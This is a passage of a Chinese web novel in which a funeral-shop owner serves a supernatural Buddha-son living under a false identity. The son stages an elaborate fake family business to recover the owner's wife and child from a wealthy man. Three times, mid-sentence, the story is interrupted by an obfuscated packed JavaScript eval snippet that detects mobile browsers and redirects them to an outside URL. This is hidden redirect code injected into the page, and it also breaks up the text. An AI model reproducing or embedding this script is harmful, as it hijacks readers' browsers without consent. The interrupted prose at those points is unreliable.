柳闻斌随意一回头,忽然发现老婆站在自己身后,柳闻斌差点没给吓断气,就要和老婆吵架。老婆觉得柳闻斌鬼鬼祟祟的,吵架更说明他心里有鬼,两个人就在卧室各种粗言鄙语对骂,牌友进房间来劝架,老婆还趁机狠狠踢了柳闻斌一脚。 一夜洗牌声不停,素质低下的老爷们抽烟抽得猛,家里妻儿恨不得把灯罩抠掉了换成抽油烟机。柳闻斌今晚坚决不散场,用打麻将缓解内心的紧张与焦虑。他时不时看向香炉方向,那根香烧出火红的芯子,肯定很烫。 这麻将一打就打到早上八点,牌友都坐得屁股发麻了,各自捡了自己的皮夹子回家。柳闻斌再试着给手机开机,这回成功了。手机很安静,没有任何人找他。柳闻斌松一口气,洗把脸补觉。 他老婆昨晚骂得太难听,第二天有些心软,买了蚝回来给柳闻斌变着法做,意思很明显了。当晚,他和老婆久违地过夫妻生活,儿子大了,夫妻俩只好睡到半夜一两点钟,等儿子睡死了再起来做。柳闻斌嘿咻嘿咻,正爽快着,手机屏幕忽然亮起。他老婆拿起柳闻斌的手机一看,惊叫一声,手机滑落砸中鼻梁,柳闻斌不得已只能停了,还没问呢,他老婆就催他看手机。 佛子的信息一条接一条,交代后续工作。 [空白]:我已请人帮我解决人间的证件问题,大抵顺利,不过我需要代步工具,无暇操心购买手续,钱已汇给你,三天后我要提车。 [空白]:摩托与轿车型号已发送。 [空白]:[链接][链接] [空白]:我已订购床垫一张,请你于后日协助更换施霜景家的床垫。 [空白]:其余物品是否也可先送至你家中? 柳闻斌早已习惯佛子的语气,如果佛子是柳闻斌的老板,那柳闻斌觉得这老板至少说话还挺有礼貌的。只是柳闻斌没想到,事后他老婆接了佛子至少几百个包裹,客厅塞得满满当当,他老婆还得理货清点。原来客气是因为买得实在太多了! 佛子陆陆续续发了十多条消息,终于消停。柳闻斌的老婆喘着气,抚着胸口,问柳闻斌这是要干什么?佛子要活过来了?这太吓人了。柳闻斌软了,平躺在老婆身边,翻来覆去想这到底几个意思——完了,柳闻斌怎么能不想到那个意思!就是这个意思啊!他和他老婆是什么意思,佛子和施霜景说不定就是什么意思。 柳闻斌坐直起来,对他老婆说:“老板要入世了,我们的好日子来了。” 逼4S店用最快的时间准备好车,一天内跑好保险,柳闻斌忙得像陀螺,佛子给的钱肯定有富余,应该是算了柳闻斌的跑腿中介费。柳闻斌一想到这样一个菩萨神佛的存在竟然要现世了,抽空去给二大爷扫了扫墓,给二大爷开开眼。 说来也巧,那天墓前盘着一只黑猫,对柳闻斌供的祭品很有想法,柳闻斌刚想把猫赶走,转念一想,这会不会是二大爷的转世?柳闻斌蹲下和黑猫面面相觑,决定把猫劫了,送去他爸家,儿子养老子,天经地义的事。 换床垫那天,柳闻斌紧张得要死,前天放纵了,喝酒喝得今天连连打嗝,柳闻斌拼命嚼木糖醇口香糖给自己嘴巴去味。柳闻斌还犹豫呢,要不要请佛子去他家,但佛子说直接在他家白事店见,先去换床垫,再提车。 眼看着要转进多雨的日子了,天色晦暗,柳闻斌等得那叫一个心焦,他叫老婆来给自己送粥,送到了却又食不下咽。早上十点,黑发皮衣的男人登场,不论长相还是身高都出挑得吓死人,柳闻斌脑子转不过弯来,有几个瞬间甚至怀疑这是诈骗。哪有长成这样的?不是密教邪佛吗?这是拿人血洗了一千年的脸吗?好看成这样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570638|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可就是好看成这样的人,买车的品味实在太老头,美其名曰复古。机车是凯旋Bonneville T120,蓝色,竟然是双人座。轿车是灰黑色雷克萨斯LS。柳闻斌想不通,有钱人就开这个?肯定算不上经济适用,但离奢华肯定是相去甚远。怎么说,竟然还有点务实?太神秘了。 两辆车加起来还不如佛子买的一个床垫贵。 佛子拿了车就逍遥去了,柳闻斌第一次造访施霜景家,他没按昨晚和施霜景谈的时间来,对不起了小弟。柳闻斌甚至不知道他这样来施霜景家合不合法。管他呢。工人敲敲打打拆旧床垫,再想办法把新床垫运进去。只差那么一点他们就打算拆门框了,床垫太大,房子太老,也没见过有人把这么贵的床垫运到这么破的房子里。 换好床垫,柳闻斌打扫了卫生,尽量复原他们进来之前的摆设,不要让施霜景看出来有人闯入过了。佛子回来时手里提了生活用品和酒,柳闻斌欲言又止,止言又欲,佛子说:“那边有只猫。” 猫?柳闻斌惊讶,眼睛到处找,终于在客厅窗帘的缝隙里,看到一双猫脚。佛子又说:“今天就先这样。以后见。” “佛子……你以后就都以人形活动了?” “人形方便。” 方的哪门子便。柳闻斌搜肠刮肚,不能让话落到地上啊,佛子眼睛一扫,柳闻斌就麻溜地滚出门了。 最劲爆的还是励光厂之后发生的事。 死人,不停死人,死了很多老人。柳闻斌接单接到手软,散烟散得做梦都在问家属要不要来一根。柳闻斌当然不能认为这是佛子又当财神爷了,气氛搞得那么吓人,老港片似的,漫天香烛烟气、白纸铜钱。柳闻斌自己的灵车不够拉,又上了两辆改装面包车。警察来调查,柳闻斌喝浓茶打起精神来应付,生怕自己说错话,给佛子招麻烦就麻烦了。 但,如果只是这些事,柳闻斌不会用“劲爆”二字形容这遭遇。一天早上,柳闻斌正在殡仪馆等这一炉的客户骨灰出来,佛子给柳闻斌打电话,让他顺便带几盒BY药来。柳闻斌很错乱,佛子不是去睡施霜景家的床垫了吗?BY药?难道佛子和女的睡了?天菩萨诶,这关系真是……不,还是不能编排佛子。柳闻斌强打敬意,进入药店,把能买到的所有BY药都买了一遍,长效还是短效,国产还是进口,紧急还是长期……柳闻斌自己和老婆都没试过这么多种化学BY措施。吃这么多药不好吧?所以到底是谁吃啊? “施霜景吃。” 鬼子母神仪式那天的早晨,柳闻斌操办长街流水席,顺便将药交给佛子。佛子读心似的回答了柳闻斌的问题。好的,这颗悬着的心终于死了又活了。原来佛子和施霜景真的是这种关系。难道施霜景是女的?柳闻斌想不明白啊。 佛子极其罕见地动了手,给了柳闻斌兜头一下,“还想?” 柳闻斌捂着脑袋,不敢想了。 111.细马春蚕篇(九) 佛子入世,似乎是为了谈恋爱。柳闻斌很快就明白了自己的身份,他应该老老实实做好佛子的爱情保镖。司机是什么,司机是知道老板行踪还经常偷听到老板电话的存在,是体制内最容易晋升的存在。当好司机没错的。柳闻斌就做司机了。 励光厂老人集体死亡事件过后没多久,D市地铁系统瘫痪了三天,第二天时柳闻斌接到施霜景的请求,柳闻斌一看到挤得像沙丁鱼罐头的道路就心烦,他家到励光厂本来就走了个城市对角线,早上去接人,开了四个小时的车。 施霜景看起来还挺着急。柳闻斌是有段时日没见到他了,觉得小伙子精气神好了许多,眉间舒展,以前柳闻斌偶尔会觉得施霜景有苦大仇深的气质,是生活负了他,这回施霜景眼睛睁得圆,看起来终于像高中生。柳闻斌让施霜景坐副驾驶,两人偶尔唠嗑,施霜景也乐意接话,他说佛子失踪了几天,把他交给厉害的邻居云云。柳闻斌当然知道郎放这号人,嚯,当时还是柳闻斌把警察的调查方向引向郎放呢!不过柳闻斌当然是装死不说这回事。 他们赶到升仙湖,柳闻斌见到那辆落灰的机车,暗道不好,怎么这所向披靡的老板还能出事呢?得亏开的是灵车,想办法把机车塞进去了。柳闻斌从没开过这么憋屈的车,D市的交通烂完了,又开了两个钟头,终于把施霜景和机车都送回厂里。柳闻斌很潇洒地说再见,一坐回车里,他也有点忐忑,担心佛子安危,好在晚上施霜景就给他发了消息,说佛子终于回家了,没什么大事。 佛子要做什么事,不必通知柳闻斌。柳闻斌正常生活,正常做生意,元旦的时候他给施霜景和佛子分别发了元旦节快乐的消息,佛子当然没回,施霜景却是很礼貌,收到即回复了。要柳闻斌评价施霜景这个人呢,柳闻斌觉得还是咱国家的福利制度好啊,给孤儿也教育得这么好。柳闻斌是样本选择偏差了,可施霜景的确是个好人,这个结论不会变。 柳闻斌正得意着,生活还是给他来了当头一棒——事情要从他儿子发布照片却被人盯上说起。 柳闻斌当年忙着做生意,结婚晚了点。他和老婆是在寺庙做义工时认识的。柳闻斌的老婆之前离过婚,没孩子,那段时间又失业了,柳闻斌尝试追求她,又怕她嫌弃自己做殡葬行业脏兮兮的,左瞒右瞒,他老婆不耐烦猜了,问他是不是欠钱,柳闻斌马上对天发誓,绝对没有,只好交代了自己的行业。然而他老婆说,穷比死更可怕,我管你做什么行业,来钱就行了。他和他老婆带球结婚,婚后老婆和他一起经营白事店,老婆也很会来事,柳闻斌把手机和老婆共享,很多时候老婆会直接替他接电话、收账。 柳闻斌的儿子今年上三年级,这年头小孩玩手机都溜得很,他儿子甚至知道给同学点赞不能“跳赞”——跳赞是什么意思?柳闻斌很宠儿子,儿子的微信钱包从来没有少于四位数,但柳闻斌对儿子的社交和学习生活从来不感兴趣,那是他老婆该操心的。 因此,柳闻斌没能及时发现儿子发了不该发的照片。 佛子入世之后,柳闻斌重新修了家里的佛龛,毕竟佛子偶尔会将东西寄到柳闻斌家,就得来取货。新修的佛龛特别气派,老婆甚至问柳闻斌,是不是要把家里重新装修一下啊,配合一下这个佛龛,装个什么新中式之类的?柳闻斌一笑了之,装个屁啊,哪有那个功夫重新搞装修。儿子就在大人的对话中,学会了凝视墙上那座佛龛,拍下照片,发到网上,向同学们炫耀,多美、多牛气的佛子像啊,我爸爸妈妈说佛子很灵的,有空你们来我家,我教你们上香。 柳闻斌不知道自己儿子原来这么缺心眼,富养养出了个傻儿子。过没几天,老婆的手机接到电话,以为是一桩最普通的白事生意,约在华西医院见面,商议葬礼事宜,老婆没多想就去了。晚上回到家,柳闻斌还没问她怎么这么晚才回来呢,老婆忽然发作,问柳闻斌知不知道,他二大爷这尊佛子像值五千万美金! 五千万美金,这的确大大超过了柳闻斌一家所能赚来的财富总额。柳闻斌问老婆,到底发生了什么,老婆就从拍卖讲起,她还问柳闻斌,佛子搞拍卖,他们家能不能也去拍卖?柳闻斌赶紧打住,这是掉钱眼里了?可他老婆像丢了魂似的,见柳闻斌不能给出满意的答复,老婆不再多说。第二天,老婆亦是早上出门,晚上才回家。柳闻斌莫名紧张,打电话给员工说自己暂时不去白事店了,他在家守着,怕老婆把佛子像顺走。 那位富商叫□□歌,和柳闻斌差不多的年纪,他约柳闻斌出去谈,柳闻斌都随身把佛子像装箱带在车里。□□歌人非常客气,就是诚心求买佛子像,柳闻斌问他原因,□□歌藏了话,只说他知道现在只剩佛子是“灵的”,意思是他要求佛子办事。柳闻斌苦口婆心劝他,说佛子的那些家族信徒都很虔诚,但都神叨叨的,信这些封建迷信未必就好。□□歌不否认,甚至还挺赞同柳闻斌的观点,但这不影响他还是想求取佛子像。 年前某一天下午,柳闻斌在家里等老婆接儿子回家,等到七点钟,没等到,柳闻斌打电话过去,老婆和儿子都没接,手机关机。柳闻斌急啊,揣着佛子像就去学校找人,学校当然早就清空了,儿子班主任也说,她当时亲手把小柳交给小柳妈妈来着。柳闻斌又打电话给岳父岳母家,老婆和儿子没回去。这下老的也有些着急了,大家晚上分头一起去找。晚上十点半,柳闻斌接到老婆的视频电话,一看背景就不对劲。 老婆笑吟吟的,让儿子给爸爸打招呼。儿子说他们到香港啦!在母子身后不远处,柳闻斌看到□□歌戴着墨镜,正朝镜头这边招手。柳闻斌浑身被冷汗浸透,他老婆和孩子怎么不知不觉被□□歌带去了香港?老天爷,柳闻斌甚至不知道他老婆和孩子什么时候办了通行证。柳闻斌就说自己马上也去香港找他们,镜头里的□□歌说不出来的邪性,老婆儿子倒看起来非常快乐的样子。 然而还没等柳闻斌弄好去香港的手续,第二天,镜头里就出现了鱼尾狮,他们转而去了新加坡。柳闻斌非常害怕自己的老婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576448|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和孩子一步步被拐往更危险的地方,遂马上投降。□□歌抛出问题,问柳闻斌认不认识施霜景。柳闻斌只好说认识。 大年三十当日,柳闻斌承受不了内心的煎熬,破了二大爷留的戒,向佛子求援。佛子的回复让柳闻斌破防,柳闻斌一点都没有卖佛子像的打算,而且佛子像在哪里,佛子就知道发生了什么事,佛子难道不知道柳家被折腾吗?佛子非常轻描淡写地让柳闻斌把佛像卖给□□歌,柳闻斌只觉得非常冤枉,恨不能撞钟而死。当天柳闻斌又给佛子打了好几回电话,其实柳闻斌人就在励光厂里,他新年不知道该去哪儿,将车停在施霜景家附近,不好打扰别人过年,只希望佛子施舍一点同情。万一呢? 好在柳闻斌还是等到了这“万一”。 佛子坐进柳闻斌的车,说的第一句话就是:“你得感谢施霜景。” “不是他求我,我不可能来帮你。此事完毕之后,我要收回柳仲民的佛子像,你现在还有机会联系□□歌然后把我的像卖给他,这样我还能在家好好过个年。”佛子这样说道。柳仲民是柳闻斌的二大爷。 柳闻斌斩钉截铁道:“您收回吧。我现在就带着您的佛子像,就放在后备箱里,您收回去。我不想我老婆儿子突兀向您许愿,最后成了您的祭品。天知道我拿了那五千万会不会断子绝孙。” 佛子不说话,也没收回自己的佛子像。柳闻斌胡子拉碴,憔悴不堪,好说歹说是接到了这尊大佛,但柳闻斌也不知道接下来该怎么做。 幸好佛子有主意,当晚,佛子和柳闻斌住F酒店,柳闻斌打电话给自己老婆孩子,他只知道他的妻儿也住在酒店里,再没有什么地标让柳闻斌分辨地点了。佛子化名卓逸纶,像□□歌一样,于视频中刻意现身,装作在酒店打牌,□□歌想同卓逸纶说话,柳闻斌就挂断电话。 第二天,佛子去柳闻斌的仓库,作谈生意的场景。柳闻斌再次给□□歌打电话,这回电话里终于是户外背景,佛子分辨出来,对面的母子在泰国参观佛塔。佛子假装开玩笑,点了几个名字,都是上次拍卖来献宝的佛子信徒,例如许晏之,他们都会乐意来与□□歌接触。□□歌不怵,但他表现出对这些信徒的厌烦。佛子起初还用卓逸纶这个身份说说笑笑,忽然他话锋一转,让□□歌单独飞回来。佛子会让那对母子在东南亚平平安安,也会让□□歌再也回不了他的西北老家。不如就在S省和Q省的交界见面。我这里还有好东西。 柳闻斌恨不得给佛子跪下了。佛子摆手,让柳闻斌滚。接着柳闻斌就听到佛子给施霜景打电话的动静。柳闻斌现在无心打趣任何人,他之前还以为自己很会和这个社会打交道,但这回看佛子,柳闻斌不免感慨,钱、能力、资源……这些东西才是硬通货。打交道的技巧比起硬通货来说什么都不算。 他还笑佛子终于入世,其实这佛子最会操纵欲念,看透贪嗔痴,左右手牵拉着凡人,自己排出戏来,需要什么,就编一句程序、打一个响指。佛子才是真正的玩家。 112.细马春蚕篇(十) 佛子所用的身份,据说是借了施霜景母家的姓,姓卓。柳闻斌在没见到老婆孩子之前,完全没有开玩笑的心思。不过,柳闻斌非常好奇,佛子为什么会这么有钱?佛子□□件能那么快,连银行卡都搞定?是那些信徒上供的吗? 大年初二迎财神,佛子给施霜景转了三十万,达到施霜景银行卡的月收款限额了,佛子几次转账都卡在这个限额,不能再多了。佛子聊到这件事,柳闻斌建议佛子给施霜景开副卡,佛子说他不能开信用卡账户,柳闻斌惊了。 柳闻斌不知道佛子到底有多少钱,这些都是现金?柳闻斌想打听却不敢打听。佛子琢磨着网上填表,以他的证件申请新卡,他完全可以直接给施霜景一张卡,可如果不是真到了施霜景户头,施霜景不会觉得那钱真的是给他的。而且佛子再给施霜景转几笔大钱,施霜景的账户估计就要被标记为风险账户了。 佛子好像是个重度网瘾患者,他不多聊天,不是在看手机就是在用电脑。佛子交代所有事都很简洁,明早他们开车去两省交界,今晚让柳闻斌把柳仲民的佛子像放回家,它在佛龛里好好的,干嘛带上跑来跑去。待柳闻斌回来,佛子和柳闻斌对齐信息。 柳闻斌一听,很多信息简直一眼假,得亏是佛子说谎,换一个人来哪能编出这么多。 卓逸纶,也就是佛子的假身份,他们卓家人从格尔木出来,那是一座萧索小城,卓家姐姐名叫卓瑜,金凤凰飞出土窝。卓家人不穷的,格尔木是工业城市,卓家做矿产生意,格尔木盛产贵金属和良石美玉。到卓逸纶这一代,他在本省和G省都投资镍矿,而硫钴矿也常常与镍共生。卓逸纶投资工厂,精炼钴化学品,竟然正好撞上精工制造的风口,国家储备战略金属,工厂不愁投资,生意也不愁做。卓逸纶就是个土大款,和佛子选中的人有不正当关系,但佛子暂时没有降罪于他,卓逸纶给施霜景做老白脸。 柳闻斌问,佛子你编这么多,别人不是一查就明白了? 之前拍卖会时,佛子确实是为这些信息加了层咒,让人们事后淡忘这些信息,甚至淡忘卓逸纶这个人。一切都是逢场作戏。 但现在要与□□歌打交道,佛子只得搭起精密的信息牢笼,说直白一点是作假,说形象一点是活生生造出海市蜃楼——他从零构建起卓家这个家族,设计家族故事、工厂选址、做集团历史、造订单、造资金流水,把自己的生意塞进其他大项目的财报与新闻中。这一切都是定向的,当有心人去查才会查到,待应付完□□歌之后,佛子会定向销毁这所有的假信息。 佛子说:“这个家族、这个公司是否真实存在,不重要,重要的是想了解它的人觉得它存在。” 料想□□歌已经把柳闻斌查了个底儿掉,那柳闻斌这个做白事的小老板是怎么搭上卓逸纶的?佛子想到,□□歌应该顺着柳闻斌查到了施霜景,甚至可能把施霜景的孤儿院历史查过了,那么故事的版本就应该变成:施霜景儿时痛失父母,入住福利院,今年卓家舅舅才找到他,陪施霜景准备高考。卓家舅舅去年十月底、十一月初才出现,不算早,但由于佛子信徒不知道佛子确切的入世时间,时间线上可以打马虎眼。励光厂办白事,卓家舅舅借此认识了柳闻斌,或者柳闻斌原本就通过佛子这条线认识了施霜景,舅舅是后面才来的。 这故事从哪头编起都可以。编不圆也没关系。成年人的世界就是由或粗糙或精细的谎言构成。重要的是柳闻斌不能当着□□歌的面喊卓逸纶作“佛子”。 大年初三,早上六点,柳闻斌就开车动身了,两人前往S省与Q省交界,佛子给了□□歌两个备选,一个是交界处偏Z省的色达县,另一个是偏Q省东南方位的久治县。□□歌选了久治县。柳闻斌全程压着最高时速开车,八个半小时的车程,他七个小时就开到了。 佛子藏起标志性的蓝眼睛,也换了服装风格,把自己往商人形象上靠。饶是柳闻斌这几天都在和佛子接触,他对佛子的印象好像也在逐渐扭转,有时候他会真的忘记佛子是佛子,“卓逸纶”这个身份逐渐取代了佛子。 他们比□□歌到得更早,久治县位于青藏高原东部,气温比D市冷得多,佛子和柳闻斌找了饭店,大中午喝酒,柳闻斌要开车,只能看着佛子喝。佛子不爱和人商量,更不喜欢向人解释。下午三点半,□□歌终于到了,风尘仆仆,他从东南亚一路飞机赶回来,昨天接过卓逸纶电话就直接订机票、去机场了,早上飞回国,又开车过来。他竟然没有带司机,更没带柳闻斌的老婆和儿子。 柳闻斌一下就急了,恨不得冲上去揍人,不是要交换人质吗?佛子制住柳闻斌,让他别激动。□□歌连忙交代,说柳老板的老婆小孩已经回香港了,为了赔罪,□□歌给他们定了维港最好视野的酒店套房,也给了一张五十万的卡,任他们刷。 三人复坐下,桌上换上新菜,不能指望县城饭店的做菜水平,但毕竟是Q省,牛羊肉的品质有保障。卓逸纶说自己吃饱了,马老板请自便。柳闻斌腹诽,佛子简直不吃饭,水和酒倒是会喝一点。□□歌问到施先生,卓逸纶笑说,外甥要考试了,在家补习呢,我们谈事情,他凑什么热闹? 柳闻斌得知老婆儿子没事,整个人都松下来,瘫在椅子上,见□□歌说说笑笑,柳闻斌突然发作,指着□□歌骂道:“你这家伙搞歪门邪道,勾我老婆儿子的魂,不然他们怎么可能突然去旅游?!你在哪学的这一套?在东南亚学的降头?还请佛子像,小心半夜被佛子降妖除魔了!” “我请佛子快来我家降妖除魔吧,快点的。”□□歌摇头晃脑,“我以为那尊白马双佛像十拿九稳了,怎么临到手还能被人抢走?我也纳闷呢,这位佛子是不是不愿意在国内干了?你看看那天拍卖会来的人,不说我还以为佛子的佛塔修在南海海底呢。” “其他人都是求财、求福,怎么到你就是求降妖伏魔?”卓逸纶打趣道,“你干什么亏心事了?” □□歌收了气焰,语气软下来,“这哪能呢?卓先生,您不像平凡人,您还和施先生是亲戚,不明白我们这种人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576449|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。柳先生说他老婆孩子中邪,我冤枉啊,我才是中邪的那个人!” □□歌直指自己的太阳穴,神经质地戳一戳,“那个邪会在我们马家人的脑袋里乱窜,做坏事……” 柳闻斌插嘴:“难道不是遗传性的精神病?” “遗传性的精神病还能把你老婆孩子骗走?!你有没有长脑子?”□□歌骂回去,旋即又冷静下来,继续说道,“原谅我刚才对佛子失言,他在哪里活动都是灵的,我们管不着。那天拍卖会,我一定是突然受了佛子的照顾。我经常中邪,那种感觉……你能想象吗?有一个老板随时随地躲在你的脑袋里,等你做重要决策的时候,突然接管你的身体控制权。有时候你晓得他抢了,有时候你只能直接昏过去,再一醒来,木已成舟,但身边的人都吓坏了。我讲回拍卖会。那天我在拍卖会洗手间吐了一个钟头,头一次觉得我脑子里的那个老板想抢但是没抢成,哇,那个轻松啊……其实那天我是临时起意才去拍佛子像,就差那么一点点……” 卓逸纶问:“你说的这个邪,你了解它么?” □□歌直接用分酒壶对壶吹,喝了半壶才说:“怎么能说是‘邪’呢?别人求都求不来的……我说的这个老板,是马家的老祖。我也是小时候听我曾祖父说的,它是我们马家的祖先,但我们之间没有血缘关系。很多很多代了……我们马家的历史有很多很多代了。说起来,国内有好几处经典的大宅子都冠了马家的姓,大家假装出自不同分支,实则我们之间有关联。” □□歌介绍道,正经数下来,马家比那些佛子所加持的家族都做得大,而且大得多。据说佛子是唐代出世,马家的祖先则是更早,至少东汉就进入我国疆土、安营扎寨了。中间几经流离,姓氏改了又改,但在某个时间点,一定会溯回马姓。□□歌现在住在Q省腹地,说出来不怕卓先生和柳先生笑话,他们在草原牧场上修了一座中原式大官宅,修在两座山包的坳陷处,如果不是祖先点兵点将点到他家,他们一年也回不去一次,简直不方便到极点。 “还说要请佛像呢,我请回去也没有地方放。”□□歌自嘲道,“我家祖先听不得佛事,可别人还尊称它是菩萨。” 卓逸纶往椅背上一靠,正眼看人,显然来了兴趣。□□歌说:“马鸣啊,没听过吗?” 卓逸纶笑道:“这不可能。马鸣菩萨正经着呢,而且他做僧侣的,哪来家族。” □□歌两手一摊,“就是啊!我也觉得,我们马家不就是养子吗?” “菩萨收哪门子的养子。”卓逸纶更觉荒谬。 “卓先生,您懂行,您来我家看看就知道了。”□□歌一饮三叹,说这佛教怎么到处都是,西边藏区一大片,中亚和印度一大片,东亚、东南亚又一大片。作为宗教,各教派间本应该互不相容、各有摩擦。马家禁学佛事,□□歌不论看多少次马鸣菩萨的典籍,脑子都光滑无比、任水流过。卓逸纶提醒他,如果他脑子里住了菩萨,那他还是少说为妙。□□歌说,祖先菩萨今天很安静。 113.细马春蚕篇(十一) 吃着聊着,从马家的生意聊到卓家的生意,卓逸纶的手机闹钟忽然响起,吓人一跳。卓逸纶说时间到了,他要打电话同外甥报备。两个中年男人目送卓逸纶离开房间,卓逸纶走后,酒肉的气氛凝冻僵持,柳闻斌不好多说,怕给佛子拆台。□□歌夸牛肉好吃,兀自喝空了自己那壶酒,酒足饭饱,他也摸着自己半地中海的头顶,说要给自己的家人打视频电话。柳闻斌对自己的老婆孩子生气上火,心里不愿意打,可大家都打,柳闻斌对家人的想念还是战胜了姗姗来迟的愤怒,打了电话过去,还露出这边他与□□歌的同框,嘻嘻哈哈,假装谈生意。 待佛子回来,□□歌喝得醉醺醺,摘了眼镜伏在桌上。佛子说,怕□□歌喝醉吐了呛着自己,不能让他这样趴着,干脆把他送回酒店。 待佛子回到自己的房间,想了一整夜□□歌交代的信息。如果只是因为都姓马,这因缘也太外道了。马鸣菩萨,他的事迹确实相当早。在佛子是佛子之前,马鸣就已经获菩萨尊号。佛子和菩萨都是佛的半成品。佛子仔细回想他出生以前那段混沌的时光,与诸天神佛论法,有与马鸣菩萨论过法么? 佛子自出世以来,唯一与之打过实在交道的,只有地藏王菩萨。 地藏王菩萨发大愿,地狱不空,决不成佛。可悲的是,地狱竟然真有成空的一天。在这千年之中,地狱构造有变,最大的一变就是孽镜台失能,生出地狱恶火的沃燋石也受牵连,上世纪孽镜台碎,地狱投胎转世机制崩坏,地藏王菩萨在与酆都大帝的往来中渐渐消隐踪迹。佛子认为,地藏菩萨是试图通过涅槃来获得更强的力量,以解决问题。这是地藏王菩萨自己的法、自己的大愿,不论事实如何,完成就是完成,也就必须得走。但反正佛子至今没有再打探到地藏菩萨的消息,更是无从交流*1。 用现代的话来讲,佛子曾有过另外一种怀疑:他会不会从来就不算是佛门的一员?他被隔离在外了。不是一个频道,当然不再能交流、通话。 一夜无眠。大年初四,□□歌调了司机过来,两位,请客人去西宁,不能再留在县城了,这不是待客之道。 □□歌邀卓逸纶同坐一辆车,卓逸纶推辞,直说和马老板聊天头疼得厉害,要聊就等屁股坐稳了再聊。 马老板好奇,为什么卓逸纶非要约在这种省与省的边界见面,从D市直接飞西宁不是更方便吗?卓逸纶说,这是佛子要求的啊,得把马老板调度起来,接到电话就得想怎么从泰国赶回国,甚至得坐红眼航班,这样留给马老板的时间可就不多了。你没发现那天晚上柳老板的老婆和儿子就没那么听话了吗?佛子摇人去了。 这下说破马老板的小心思。难道□□歌不知道佛子的用意吗?他从泰国离开那晚,从酒店到机场,一直感觉有人在跟踪他。只不过□□歌以为卓老板不清楚这背后缘由。 其实卓老板什么都知道。 一路上没见到卓老板有供佛子像,佛子信徒都是通过佛子像同佛子交流。 肯定是他外甥同他讲的。 一往西北走,大多时间都花在赶路上。纵使他们起早驱车,到了中午,找地方歇脚,一吃喝又是两个钟头。这回马老板和卓逸纶聊卓家和施家。 □□歌挑吃着花生米,问道:“你姐姐怎么会嫁到S省去?我女儿要是嫁到大凉山,我打断她的腿。” “我姐姐当年离家出走,就是如此了,我们还能怎么办?我姐夫倒也是个好人,死之前很疼孩子。” “还好人——他怕是给你姐姐下巫咒了。我没有开玩笑,你外甥身份证上是不是写着彝族?” “这都二十一世纪了!马老板,你不能因为信佛子或者信你老祖,就看谁都搞封建迷信吧。少数民族怎么你了?你把身份证拍到桌子上让人看看,你不也是少数民族么?”卓逸纶都给气笑了。 “不是的。”□□歌点了点脑袋,“那天我参加拍卖会,我老祖就说,‘鬼主’、‘鬼主’……我回去一查,什么杂七杂八的都有,一会儿说是罗施鬼国*2了,一会儿又说是毕摩之术了……你小心一点。搞不好小施也会这个呢。我把我听的这什么广播发给你,等会坐车你也听听。” 柳闻斌在旁边听得一个头两个大,□□歌这人逻辑能力差得要命,东一榔头西一棒子,佛子陪吃陪聊,柳闻斌都快不认识这个佛子了,这都能忍? □□歌南边编排完施家,又往北编排卓家。□□歌说:“上次拍卖会拍那幅《散落贵霜铸币的女人》,我有心无力。老祖说,‘女人’、‘女人’……怎么又要女人?光那幅画就几百万美金,我怎么要?……对于你姐姐的事,我听了也觉得很抱歉。你姐姐长得很美,可惜了。原谅老哥哥这番话——我要是早认识你姐姐就好了,说不定我与你姐姐是好姻缘。话说回来,马鸣菩萨……这我想得起来,迦腻色迦王嘛,贵霜帝国,大月氏*3……遭匈奴一路打打打,打到更西边去了……” 卓逸纶出门去,把□□歌的司机招进来,“你家老板一喝醉就讲故事,快收拾一下,我们继续上路。” 柳闻斌去厕所放了个水,他特别想逃跑,总觉得事情到这个阶段,应该就是佛子想办法应付□□歌就完了,不用太认真。昨晚佛子还在考虑要不要拿他库里另外一尊佛子像给□□歌,感觉佛子自己不大想再跟着去,尤其□□歌形容他家是“修在草原的中原大官宅”,柳闻斌想想就觉得是鬼片。 卓逸纶见柳闻斌缩头缩脑,一把就提溜着他的后领,把他塞进车,你跑不掉! 下午五点,他们抵达西宁,佛子给施霜景打电话。他渐渐固定了打电话的时间,这样对两人都好,不必一天都等一通不知何时会来的电话。 施霜景对父母的记忆都十分模糊。他对卓瑜的事算是完全不知,但他小时候在家翻出过卓瑜的旧身份证,不知为何没被回收,身份证上写卓瑜的确是Q省人,罗爱曜也是根据这一信息才编造了整个家族故事。施楼庭家好歹能找到一个远方表姑,卓瑜的家人却是自始至终没有露过面。早在拍卖会之前,罗爱曜就找机会钻入施霜景的记忆,找到卓瑜身份证的具体地址,可他一查,当年的地址早已人去楼空。很多重要信息已经随着卓瑜的死亡而一并注销,身份、户口……她简直像凭空冒出来的人,这般昙花一现。 